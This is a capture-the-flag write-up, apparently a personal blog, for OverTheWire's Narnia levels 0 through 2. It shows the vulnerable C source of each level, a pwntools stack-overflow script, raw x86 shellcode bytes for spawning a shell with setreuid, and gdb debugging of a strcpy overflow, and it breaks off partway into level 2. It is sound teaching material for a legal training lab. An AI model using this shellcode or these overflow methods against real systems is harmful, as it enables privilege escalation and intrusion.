https://overthewire.org/wargames/narnia/ 🦁

ssh narnia0@narnia.labs.overthewire.org -p 2226

I’m using pwntools in a Kali Linux VM to make it easier to solve the levels. OverTheWire also seems to include python3 and pwntools.

Observations

There is a /narnia folder and the passwords are in /etc/narnia_pass. The levels also include C source code.

find / -type f -name '*narnia*' 2> /dev/null
/etc/issue.narnia
/etc/issue.narnia.fail
/etc/issue.narnia.localhost
/etc/narnia_pass/narnia0
/etc/narnia_pass/narnia1
/etc/narnia_pass/narnia2
/etc/narnia_pass/narnia3
/etc/narnia_pass/narnia4
/etc/narnia_pass/narnia5
/etc/narnia_pass/narnia6
/etc/narnia_pass/narnia7
/etc/narnia_pass/narnia8
/etc/narnia_pass/narnia9
/etc/ssh/sshd_config.d/narnia.conf
/narnia/narnia0
/narnia/narnia0.c
/narnia/narnia1
/narnia/narnia1.c
/narnia/narnia2
/narnia/narnia2.c
/narnia/narnia3
/narnia/narnia3.c
/narnia/narnia4
/narnia/narnia4.c
/narnia/narnia5
/narnia/narnia5.c
/narnia/narnia6
/narnia/narnia6.c
/narnia/narnia7
/narnia/narnia7.c
/narnia/narnia8
/narnia/narnia8.c

ls /etc/narnia_pass/ -la
-r--------   1 narnia0 narnia0     8 Jul 17 15:58 narnia0
-r--------   1 narnia1 narnia1    11 Jul 17 15:58 narnia1
-r--------   1 narnia2 narnia2    11 Jul 17 15:58 narnia2
-r--------   1 narnia3 narnia3    11 Jul 17 15:58 narnia3
-r--------   1 narnia4 narnia4    11 Jul 17 15:58 narnia4
-r--------   1 narnia5 narnia5    11 Jul 17 15:58 narnia5
-r--------   1 narnia6 narnia6    11 Jul 17 15:58 narnia6
-r--------   1 narnia7 narnia7    11 Jul 17 15:58 narnia7
-r--------   1 narnia8 narnia8    11 Jul 17 15:58 narnia8
-r--------   1 narnia9 narnia9    11 Jul 17 15:58 narnia9

narnia0

cat /narnia/narnia0.c

#include <stdio.h>
#include <stdlib.h>

int main(){
    long val=0x41414141;
    char buf[20];

    printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
    printf("Here is your chance: ");
    scanf("%24s",&buf);

    printf("buf: %s\n",buf);
    printf("val: 0x%08x\n",val);

    if(val==0xdeadbeef){
        setreuid(geteuid(),geteuid());
        system("/bin/sh");
    }
    else {
        printf("WAY OFF!!!!\n");
        exit(1);
    }

    return 0;
}

The binary reads the input and we somehow have to change val from 0x41414141 to 0xdeadbeef to pass the check. The issue is the buffer is 20 bytes but scanf() is reading 24 characters into it. It also has some helpful printf messsages.

To use pwntools I can put the python scripts in folder in /tmp. The val variable on the stack gets overwritten with BCDE (0x45444342) so that works.

from pwn import *
s = "A" * 20
s += "BCDE"
p = process('/narnia/narnia0')
s1 = p.recvline()
p.sendline(s)
p.interactive()
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAABCDE
val: 0x45444342
WAY OFF!!!!

Now we we should be able overwrite it with 0xdeadbeef by packing it into a 32 bit integer.

from pwn import *
s = b"A" * 20
s += p32(0xdeadbeef)
p = process('/narnia/narnia0')
s1 = p.recvline()
p.sendline(s)
p.interactive()
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ\xde
val: 0xdeadbeef
$ whoami
narnia1

$ cat /etc/narnia_pass/narnia1

narnia1

cat /narnia/narnia1.c

#include <stdio.h>

int main(){
    int (*ret)();

    if(getenv("EGG")==NULL){
        printf("Give me something to execute at the env-variable EGG\n");
        exit(1);
    }

    printf("Trying to execute EGG!\n");
    ret = getenv("EGG");
    ret();

    return 0;
}

It’s looking for an egg 🥚 environment variable so we need to define it at least. Let’s try printing the password with cat.

export EGG="cat /etc/narnia_pass/narnia1"

/narnia/narnia1
Trying to execute EGG!
Segmentation fault (core dumped)

Apparently it directly executes a function so we need some kind of shellcode. This popped the shell with execve("/bin/sh") but the uid was still 14001 (narnia1). I noticed there were multiple people in the OTW discord having the same problem.

export EGG=$(python3 -c ex'import sys; sys.stdout.buffer.write(b"\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')
/narnia/narnia1
Trying to execute EGG!
$ cat /etc/narnia_pass/narnia2
cat: /etc/narnia_pass/narnia2: Permission denied

$ whoami
narnia1

$ id
uid=14001(narnia1) gid=14001(narnia1) groups=14001(narnia1)

The narnia0 level hints this with the setreuid(geteuid(),geteuid()) call, which is included in this shellcode. Note that python3 has some issues with handling hex strings which requires calling sys.stdout.buffer.write instead of print.

export EGG=$(python3 -c 'import sys; sys.stdout.buffer.write(b"\x6a\x31\x58\x31\xd2\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80")')
/narnia/narnia1
Trying to execute EGG!
$ whoami
narnia2

$ id
uid=14002(narnia2) gid=14001(narnia1) groups=14001(narnia1)

$ cat /etc/narnia_pass/narnia2

narnia2

cat /narnia/narnia2.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char * argv[]){
    char buf[128];

    if(argc == 1){
        printf("Usage: %s argument\n", argv[0]);
        exit(1);
    }
    strcpy(buf,argv[1]);
    printf("%s", buf);

    return 0;
}
/narnia/narnia2 $(python3 -c 'import sys; sys.stdout.buffer.write(b"A" * 132 + b"BBBB")')

Let’s debug the buffer overflow; eip gets overwritten with BBBB so we should execute some shellcode and also call setreuid() to narnia3’s uid.

gdb /narnia/narnia2
run $(python3 -c 'import sys; sys.stdout.buffer.write(b"A" * 132 + b"BBBB")')
# Program received signal SIGSEGV, Segmentation fault.
# 0x42424242 in ?? ()